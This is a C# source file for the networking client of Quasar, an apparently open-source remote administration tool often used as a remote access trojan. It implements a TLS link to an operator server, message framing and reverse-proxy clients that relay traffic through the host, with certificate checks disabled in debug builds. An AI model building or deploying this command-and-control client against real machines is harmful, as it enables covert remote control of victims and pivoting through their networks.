using Quasar.Client.ReverseProxy;
using Quasar.Common.Extensions;
using Quasar.Common.Messages;
using Quasar.Common.Messages.ReverseProxy;
using Quasar.Common.Networking;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Net;
using System.Net.Security;
using System.Net.Sockets;
using System.Security.Authentication;
using System.Security.Cryptography;
using System.Security.Cryptography.X509Certificates;
using System.Threading;

namespace Quasar.Client.Networking
{
    public class Client : ISender
    {
        /// <summary>
        /// Occurs as a result of an unrecoverable issue with the client.
        /// </summary>
        public event ClientFailEventHandler ClientFail;

        /// <summary>
        /// Represents a method that will handle failure of the client.
        /// </summary>
        /// <param name="s">The client that has failed.</param>
        /// <param name="ex">The exception containing information about the cause of the client's failure.</param>
        public delegate void ClientFailEventHandler(Client s, Exception ex);

        /// <summary>
        /// Fires an event that informs subscribers that the client has failed.
        /// </summary>
        /// <param name="ex">The exception containing information about the cause of the client's failure.</param>
        private void OnClientFail(Exception ex)
        {
            var handler = ClientFail;
            handler?.Invoke(this, ex);
        }

        /// <summary>
        /// Occurs when the state of the client has changed.
        /// </summary>
        public event ClientStateEventHandler ClientState;

        /// <summary>
        /// Represents the method that will handle a change in the client's state
        /// </summary>
        /// <param name="s">The client which changed its state.</param>
        /// <param name="connected">The new connection state of the client.</param>
        public delegate void ClientStateEventHandler(Client s, bool connected);

        /// <summary>
        /// Fires an event that informs subscribers that the state of the client has changed.
        /// </summary>
        /// <param name="connected">The new connection state of the client.</param>
        private void OnClientState(bool connected)
        {
            if (Connected == connected) return;

            Connected = connected;

            var handler = ClientState;
            handler?.Invoke(this, connected);
        }

        /// <summary>
        /// Occurs when a message is received from the server.
        /// </summary>
        public event ClientReadEventHandler ClientRead;

        /// <summary>
        /// Represents a method that will handle a message from the server.
        /// </summary>
        /// <param name="s">The client that has received the message.</param>
        /// <param name="message">The message that has been received by the server.</param>
        /// <param name="messageLength">The length of the message.</param>
        public delegate void ClientReadEventHandler(Client s, IMessage message, int messageLength);

        /// <summary>
        /// Fires an event that informs subscribers that a message has been received by the server.
        /// </summary>
        /// <param name="message">The message that has been received by the server.</param>
        /// <param name="messageLength">The length of the message.</param>
        private void OnClientRead(IMessage message, int messageLength)
        {
            var handler = ClientRead;
            handler?.Invoke(this, message, messageLength);
        }

        /// <summary>
        /// Occurs when a message is sent by the client.
        /// </summary>
        public event ClientWriteEventHandler ClientWrite;

        /// <summary>
        /// Represents the method that will handle the sent message.
        /// </summary>
        /// <param name="s">The client that has sent the message.</param>
        /// <param name="message">The message that has been sent by the client.</param>
        /// <param name="messageLength">The length of the message.</param>
        public delegate void ClientWriteEventHandler(Client s, IMessage message, int messageLength);

        /// <summary>
        /// Fires an event that informs subscribers that the client has sent a message.
        /// </summary>
        /// <param name="message">The message that has been sent by the client.</param>
        /// <param name="messageLength">The length of the message.</param>
        private void OnClientWrite(IMessage message, int messageLength)
        {
            var handler = ClientWrite;
            handler?.Invoke(this, message, messageLength);
        }

        /// <summary>
        /// The type of the message received.
        /// </summary>
        public enum ReceiveType
        {
            Header,
            Payload
        }

        /// <summary>
        /// The buffer size for receiving data in bytes.
        /// </summary>
        public int BUFFER_SIZE { get { return 1024 * 16; } } // 16KB

        /// <summary>
        /// The keep-alive time in ms.
        /// </summary>
        public uint KEEP_ALIVE_TIME { get { return 25000; } } // 25s

        /// <summary>
        /// The keep-alive interval in ms.
        /// </summary>
        public uint KEEP_ALIVE_INTERVAL { get { return 25000; } } // 25s

        /// <summary>
        /// The header size in bytes.
        /// </summary>
        public int HEADER_SIZE { get { return 4; } } // 4B

        /// <summary>
        /// The maximum size of a message in bytes.
        /// </summary>
        public int MAX_MESSAGE_SIZE { get { return (1024 * 1024) * 5; } } // 5MB

        /// <summary>
        /// Returns an array containing all of the proxy clients of this client.
        /// </summary>
        public ReverseProxyClient[] ProxyClients
        {
            get
            {
                lock (_proxyClientsLock)
                {
                    return _proxyClients.ToArray();
                }
            }
        }

        /// <summary>
        /// Gets if the client is currently connected to a server.
        /// </summary>
        public bool Connected { get; private set; }

        /// <summary>
        /// The stream used for communication.
        /// </summary>
        private SslStream _stream;

        /// <summary>
        /// The server certificate.
        /// </summary>
        private readonly X509Certificate2 _serverCertificate;

        /// <summary>
        /// A list of all the connected proxy clients that this client holds.
        /// </summary>
        private List<ReverseProxyClient> _proxyClients = new List<ReverseProxyClient>();

        /// <summary>
        /// The internal index of the message type.
        /// </summary>
        private int _typeIndex;

        /// <summary>
        /// Lock object for the list of proxy clients.
        /// </summary>
        private readonly object _proxyClientsLock = new object();

        /// <summary>
        /// The buffer for incoming messages.
        /// </summary>
        private byte[] _readBuffer;

        /// <summary>
        /// The buffer for the client's incoming payload.
        /// </summary>
        private byte[] _payloadBuffer;

        /// <summary>
        /// The queue which holds messages to send.
        /// </summary>
        private readonly Queue<IMessage> _sendBuffers = new Queue<IMessage>();

        /// <summary>
        /// Determines if the client is currently sending messages.
        /// </summary>
        private bool _sendingMessages;

        /// <summary>
        /// Lock object for the sending messages boolean.
        /// </summary>
        private readonly object _sendingMessagesLock = new object();

        /// <summary>
        /// The queue which holds buffers to read.
        /// </summary>
        private readonly Queue<byte[]> _readBuffers = new Queue<byte[]>();

        /// <summary>
        /// Determines if the client is currently reading messages.
        /// </summary>
        private bool _readingMessages;

        /// <summary>
        /// Lock object for the reading messages boolean.
        /// </summary>
        private readonly object _readingMessagesLock = new object();

        // Receive info
        private int _readOffset;
        private int _writeOffset;
        private int _readableDataLen;
        private int _payloadLen;
        private ReceiveType _receiveState = ReceiveType.Header;

        /// <summary>
        /// The mutex prevents multiple simultaneous write operations on the <see cref="_stream"/>.
        /// </summary>
        private readonly Mutex _singleWriteMutex = new Mutex();

        /// <summary>
        /// Constructor of the client, initializes serializer types.
        /// </summary>
        /// <param name="serverCertificate">The server certificate.</param>
        protected Client(X509Certificate2 serverCertificate)
        {
            _serverCertificate = serverCertificate;
            _readBuffer = new byte[BUFFER_SIZE];
            TypeRegistry.AddTypesToSerializer(typeof(IMessage), TypeRegistry.GetPacketTypes(typeof(IMessage)).ToArray());
        }

        /// <summary>
        /// Attempts to connect to the specified ip address on the specified port.
        /// </summary>
        /// <param name="ip">The ip address to connect to.</param>
        /// <param name="port">The port of the host.</param>
        protected void Connect(IPAddress ip, ushort port)
        {
            Socket handle = null;
            try
            {
                Disconnect();

                handle = new Socket(ip.AddressFamily, SocketType.Stream, ProtocolType.Tcp);
                handle.SetKeepAliveEx(KEEP_ALIVE_INTERVAL, KEEP_ALIVE_TIME);
                handle.Connect(ip, port);

                if (handle.Connected)
                {
                    _stream = new SslStream(new NetworkStream(handle, true), false, ValidateServerCertificate);
                    _stream.AuthenticateAsClient(ip.ToString(), null, SslProtocols.Tls12, false);
                    _stream.BeginRead(_readBuffer, 0, _readBuffer.Length, AsyncReceive, null);
                    OnClientState(true);
                }
                else
                {
                    handle.Dispose();
                }
            }
            catch (Exception ex)
            {
                handle?.Dispose();
                OnClientFail(ex);
            }
        }

        /// <summary>
        /// Validates the server certificate by comparing it with the included server certificate.
        /// </summary>
        /// <param name="sender">The sender of the callback.</param>
        /// <param name="certificate">The server certificate to validate.</param>
        /// <param name="chain">The X.509 chain.</param>
        /// <param name="sslPolicyErrors">The SSL policy errors.</param>
        /// <returns>Returns <value>true</value> when the validation was successful, otherwise <value>false</value>.</returns>
        private bool ValidateServerCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors)
        {
#if DEBUG
            // for debugging don't validate server certificate
            return true;
#else
            var serverCsp = (RSACryptoServiceProvider)_serverCertificate.PublicKey.Key;
            var connectedCsp = (RSACryptoServiceProvider)new X509Certificate2(certificate).PublicKey.Key;
            // compare the received server certificate with the included server certificate to validate we are connected to the correct server
            return _serverCertificate.Equals(certificate);
#endif
        }

        private void AsyncReceive(IAsyncResult result)
        {
            int bytesTransferred;

            try
            {
                bytesTransferred = _stream.EndRead(result);

                if (bytesTransferred <= 0)
                    throw new Exception("no bytes transferred");
            }
            catch (NullReferenceException)
            {
                return;
            }
            catch (ObjectDisposedException)
            {
                return;
            }
            catch (Exception)
            {
                Disconnect();
                return;
            }

            byte[] received = new byte[bytesTransferred];

            try
            {
                Array.Copy(_readBuffer, received, received.Length);
            }
            catch (Exception ex)
            {
                OnClientFail(ex);
                return;
            }

            lock (_readBuffers)
            {
                _readBuffers.Enqueue(received);
            }

            lock (_readingMessagesLock)
            {
                if (!_readingMessages)
                {
                    _readingMessages = true;
                    ThreadPool.QueueUserWorkItem(AsyncReceive);
                }
            }

            try
            {
                _stream.BeginRead(_readBuffer, 0, _readBuffer.Length, AsyncReceive, null);
            }
            catch (ObjectDisposedException)
            {
            }
            catch (Exception ex)
            {
                OnClientFail(ex);
            }
        }

        private void AsyncReceive(object state)
        {
            while (true)
            {
                byte[] readBuffer;
                lock (_readBuffers)
                {
                    if (_readBuffers.Count == 0)
                    {
                        lock (_readingMessagesLock)
                        {
                            _readingMessages = false;
                        }
                        return;
                    }

                    readBuffer = _readBuffers.Dequeue();
                }

                _readableDataLen += readBuffer.Length;
                bool process = true;
                while (process)
                {
                    switch (_receiveState)
                    {
                        case ReceiveType.Header:
                            {
                                if (_payloadBuffer == null)
                                    _payloadBuffer = new byte[HEADER_SIZE];

                                if (_readableDataLen + _writeOffset >= HEADER_SIZE)
                                {
                                    // completely received header
                                    int headerLength = HEADER_SIZE - _writeOffset;

                                    try
                                    {
                                        Array.Copy(readBuffer, _readOffset, _payloadBuffer, _writeOffset, headerLength);

                                        _payloadLen = BitConverter.ToInt32(_payloadBuffer, _readOffset);

                                        if (_payloadLen <= 0 || _payloadLen > MAX_MESSAGE_SIZE)
                                            throw new Exception("invalid header");

                                        // try to re-use old payload buffers which fit
                                        if (_payloadBuffer.Length <= _payloadLen + HEADER_SIZE)
                                            Array.Resize(ref _payloadBuffer, _payloadLen + HEADER_SIZE);
                                    }
                                    catch (Exception)
                                    {
                                        process = false;
                                        Disconnect();
                                        break;
                                    }

                                    _readableDataLen -= headerLength;
                                    _writeOffset += headerLength;
                                    _readOffset += headerLength;
                                    _receiveState = ReceiveType.Payload;
                                }
                                else // _readableDataLen + _writeOffset < HeaderSize
                                {
                                    // received only a part of the header
                                    try
                                    {
                                        Array.Copy(readBuffer, _readOffset, _payloadBuffer, _writeOffset, _readableDataLen);
                                    }
                                    catch (Exception)
                                    {
                                        process = false;
                                        Disconnect();
                                        break;
                                    }
                                    _readOffset += _readableDataLen;
                                    _writeOffset += _readableDataLen;
                                    process = false;
                                    // nothing left to process
                                }
                                break;
                            }
                        case ReceiveType.Payload:
                            {
                                int length = (_writeOffset - HEADER_SIZE + _readableDataLen) >= _payloadLen
                                    ? _payloadLen - (_writeOffset - HEADER_SIZE)
                                    : _readableDataLen;

                                try
                                {
                                    Array.Copy(readBuffer, _readOffset, _payloadBuffer, _writeOffset, length);
                                }
                                catch (Exception)
                                {
                                    process = false;
                                    Disconnect();
                                    break;
                                }

                                _writeOffset += length;
                                _readOffset += length;
                                _readableDataLen -= length;

                                if (_writeOffset - HEADER_SIZE == _payloadLen)
                                {
                                    // completely received payload
                                    try
                                    {
                                        using (PayloadReader pr = new PayloadReader(_payloadBuffer, _payloadLen + HEADER_SIZE, false))
                                        {
                                            IMessage message = pr.ReadMessage();

                                            OnClientRead(message, _payloadBuffer.Length);
                                        }
                                    }
                                    catch (Exception)
                                    {
                                        process = false;
                                        Disconnect();
                                        break;
                                    }

                                    _receiveState = ReceiveType.Header;
                                    _payloadLen = 0;
                                    _writeOffset = 0;
                                }

                                if (_readableDataLen == 0)
                                    process = false;

                                break;
                            }
                    }
                }

                _readOffset = 0;
                _readableDataLen = 0;
            }
        }

        /// <summary>
        /// Sends a message to the connected server.
        /// </summary>
        /// <typeparam name="T">The type of the message.</typeparam>
        /// <param name="message">The message to be sent.</param>
        public void Send<T>(T message) where T : IMessage
        {
            if (!Connected || message == null) return;

            lock (_sendBuffers)
            {
                _sendBuffers.Enqueue(message);

                lock (_sendingMessagesLock)
                {
                    if (_sendingMessages) return;

                    _sendingMessages = true;
                    ThreadPool.QueueUserWorkItem(ProcessSendBuffers);
                }
            }
        }

        /// <summary>
        /// Sends a message to the connected server.
        /// Blocks the thread until the message has been sent.
        /// </summary>
        /// <typeparam name="T">The type of the message.</typeparam>
        /// <param name="message">The message to be sent.</param>
        public void SendBlocking<T>(T message) where T : IMessage
        {
            if (!Connected || message == null) return;

            SafeSendMessage(message);
        }

        /// <summary>
        /// Safely sends a message and prevents multiple simultaneous
        /// write operations on the <see cref="_stream"/>.
        /// </summary>
        /// <param name="message">The message to send.</param>
        private void SafeSendMessage(IMessage message)
        {
            try
            {
                _singleWriteMutex.WaitOne();
                using (PayloadWriter pw = new PayloadWriter(_stream, true))
                {
                    OnClientWrite(message, pw.WriteMessage(message));
                }
            }
            catch (Exception)
            {
                Disconnect();
                SendCleanup(true);
            }
            finally
            {
                _singleWriteMutex.ReleaseMutex();
            }
        }

        private void ProcessSendBuffers(object state)
        {
            while (true)
            {
                if (!Connected)
                {
                    SendCleanup(true);
                    return;
                }

                IMessage message;
                lock (_sendBuffers)
                {
                    if (_sendBuffers.Count == 0)
                    {
                        SendCleanup();
                        return;
                    }

                    message = _sendBuffers.Dequeue();
                }

                SafeSendMessage(message);
            }
        }

        private void SendCleanup(bool clear = false)
        {
            lock (_sendingMessagesLock)
            {
                _sendingMessages = false;
            }

            if (!clear) return;

            lock (_sendBuffers)
            {
                _sendBuffers.Clear();
            }
        }

        /// <summary>
        /// Disconnect the client from the server, disconnect all proxies that
        /// are held by this client, and dispose of other resources associated
        /// with this client.
        /// </summary>
        public void Disconnect()
        {
            if (_stream != null)
            {
                _stream.Close();
                _readOffset = 0;
                _writeOffset = 0;
                _readableDataLen = 0;
                _payloadLen = 0;
                _payloadBuffer = null;
                _receiveState = ReceiveType.Header;
                //_singleWriteMutex.Dispose(); TODO: fix socket re-use by creating new client on disconnect

                if (_proxyClients != null)
                {
                    lock (_proxyClientsLock)
                    {
                        try
                        {
                            foreach (ReverseProxyClient proxy in _proxyClients)
                                proxy.Disconnect();
                        }
                        catch (Exception)
                        {
                        }
                    }
                }
            }

            OnClientState(false);
        }

        public void ConnectReverseProxy(ReverseProxyConnect command)
        {
            lock (_proxyClientsLock)
            {
                _proxyClients.Add(new ReverseProxyClient(command, this));
            }
        }

        public ReverseProxyClient GetReverseProxyByConnectionId(int connectionId)
        {
            lock (_proxyClientsLock)
            {
                return _proxyClients.FirstOrDefault(t => t.ConnectionId == connectionId);
            }
        }

        public void RemoveProxyClient(int connectionId)
        {
            try
            {
                lock (_proxyClientsLock)
                {
                    for (int i = 0; i < _proxyClients.Count; i++)
                    {
                        if (_proxyClients[i].ConnectionId == connectionId)
                        {
                            _proxyClients.RemoveAt(i);
                            break;
                        }
                    }
                }
            }
            catch { }
        }
    }
}